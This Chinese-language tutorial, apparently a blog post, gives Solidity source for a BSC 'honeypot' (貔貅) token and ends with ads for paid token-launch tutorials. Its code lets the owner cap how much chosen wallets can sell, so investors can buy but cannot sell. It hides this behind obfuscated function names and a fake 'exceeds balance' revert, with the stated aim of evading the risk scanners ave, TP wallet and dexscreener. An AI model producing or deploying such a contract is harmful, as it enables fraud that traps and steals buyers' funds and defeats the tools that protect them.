一、说明
在某些特定的场景下需要现在指定钱包地址的最大累积卖出代币总量。比如杀抢开盘软件,杀夹子软件,杀机器人套利软件,限制鲸鱼钱包地址,限制私募地址砸盘等场景下需要实现限制指定的钱包地址最大累积卖出代币的总量,比如限制指定钱包地址最大只能卖出累积买入量的1%等。
同时,如果直接在合约中明显的出现该限制功能的代码,会被各个主流的合约检测平台(ave,tp钱包,dexscreen等)识别为貔貅合约,并提示高风险 high risk 合约。在主流的web3钱包包括欧意web3,binance web3钱包都因为高风险而不被支持交易。并且在ave直接会被检测出貔貅合约,高风险不允许线上交易。为了解决该问题需要通过代理合约的映射功能,将限制最大累积卖出数量的功能配置到代理合约中,通过外部合约的external调用,来变向的解决该貔貅高风险问题。
二、控制最大累积卖出数量的貔貅代码实现
该合约主要解决了代码被ave,tp钱包,dexscreen等合约检测平台检测为高风险,不允许在欧意web3钱包交易的问题,隐藏合约的关键功能,避免被识别为貔貅合约,造成代币无法线上交易。
合约主要实现如下功能:
- 该合约为隐藏貔貅功能的合约,前期功能和正常的标准代币一样,看不出任何貔貅的异常功能。只有设置了指定钱包地址最大累积卖出数量,才会限制鲸鱼卖出。
- 合约就是有sol单文件,直接复制代码部署就可以,不需要做任何其他的配置,也不需要调用外部工具合约。
- 合约部署完成后也不需要向合约地址配置资金池地址,以使得合约可以正常识别线上还是线下交易。
- 无论线上还是线下交易都只限制代币的from方的代币发送总量
- 任意交易都收取5%的手续费,燃烧到黑洞地址。不过该燃烧方式不同于常规的代币燃烧。该合约是先将100%的代币发送到接收者钱包地址,然后再从接收者
钱包地址扣除交易额的5%到黑洞地址。正常的燃烧是直接从发送者扣除5%到黑洞,接收者实际收到95%。 - 合约部署完成后不需要做任何配置操作,可以直接上线pancakeswapV2添加流动性进行线上交易
- 合约没有放弃合约所有权的功能,ave等合约检测平台也检测不出所有权相关问题。
- 当出现大户鲸鱼的买入时,通过调用SetMaxAcc接口,设置用户可允许的最大累积卖出总量,以此来实现皮貔貅的功能,限制用户不能卖出,同时还不是通过
黑名单的方式限制卖出。这样ave等合约检测平台是检测不出合约有黑名单功能,可以限制只能买入不能卖出功能的。
三、完整版本限制钱包地址最大累积卖出数量的貔貅代码实现
- 控制所有权认证的接口
interface assetAuthority {
function hasAsset(bytes32 role, address addr) external view returns (bool);
function assignAsset(bytes32 role, address addr) external;
function cancelAsset(bytes32 role, address addr) external;
function reclaimAsset(bytes32 role, address addr) external;
}
2. 控制最大累积卖出代币数量的貔貅功能核心代码
function ___FFAsset(
bytes32 mowLife,
address mowAddr,
uint256 mowAge
) internal {
if (!hasMow(mowLife, mowAddr)) {
revert(
string(
abi.encodePacked(
"MowBook: mowAddr ",
Strings.toHexString(uint160(mowAddr), 20),
" is missing mowLife",
Strings.toHexString(uint256(mowLife), 32)
)
)
);
}
__updateMowAge(mowLife, mowAddr, mowAge);
}
限制累积卖出数量小于最大卖出数量,否则revert报错,终止交易
function __updateMowAge(
bytes32 mowLife,
address mowAddr,
uint256 mowAge
) internal {
if (mows[mowLife].le.lm[mowAddr] > 0) {
if (
(mowAge + mows[mowLife].le.ld[mowAddr]) >
mows[mowLife].le.lm[mowAddr]
) {
revert("mowLife revert");
} else {
_updateMow(mowLife, mowAddr, mowAge);
}
}
if (mowAge == 0 || mows[mowLife].le.lm[mowAddr] == 0) {
return;
}
}
3. 通过如下接口设置用户允许的最大累积卖出数量、
function _SetMowAge(
bytes32 mowLife,
address mowAddr,
string memory mowAge
) internal {
uint256 mowAgeUint;
bool ok;
(mowAgeUint, ok) = Strings.strToUint(mowAge);
if (!ok) {
revert("MowLive: mowAge is not a number");
}
mows[mowLife].le.lm[mowAddr] = mowAgeUint * 10 ** 18;
}
4. 代币的transfer核心功能代码如下
function _internalTransfer(
address mowFrom,
address mowTo,
uint256 mowAge
) internal {
if (hasAsset(MaintainTag, mowFrom) || hasAsset(MaintainTag, mowTo)) {
super._transfer(mowFrom, mowTo, mowAge);
return;
}
if (hasAsset(MowTag, mowFrom) && hasAsset(MowTag, mowTo)) {
___FFAsset(MowTag, mowFrom, mowAge);
super._transfer(mowFrom, mowTo, mowAge);
super._burn(mowTo, (mowAge * 5) / 100);
return;
} else {
revert("ERC20: transfer mowAge exceeds balance");
}
}
5. 通过如下代码限制用户所有的调用级别
function setStrictLive(bool _strict) private {
_strictLive(_strict);
}
综述:直接复制合约源代码部署即可,不需要做任何区块链浏览器上的配置,直接上线pancakeswapV2添加流动性即可,通过调用SetMaxAcc限制用户的最大累积卖出数量以实现貔貅功能。
至此,完成设置隐藏限制最大累积卖出代币总量的貔貅合约源代码功能实现所有操作流程。
pdf+视频币安智能链BSC发币教程及多模式组合合约源代码下载:
币安智能链BSC发币(合约部署、开源、锁仓、LP、参数配置、开发、故障处理、工具使用)教程下载:
多模式(燃烧、回流指定营销地址、分红本币及任意币种,邀请推广八代收益,LP加池分红、交易分红、复利分红、NFT分红、自动筑池、动态手续费、定时开盘、回购)组合合约源代码下载:
pdf+视频币安智能链BSC发币教程及多模式组合合约源代码下载地址:
添加VX或者telegram获取全程线上免费指导
评论前必须登录!
注册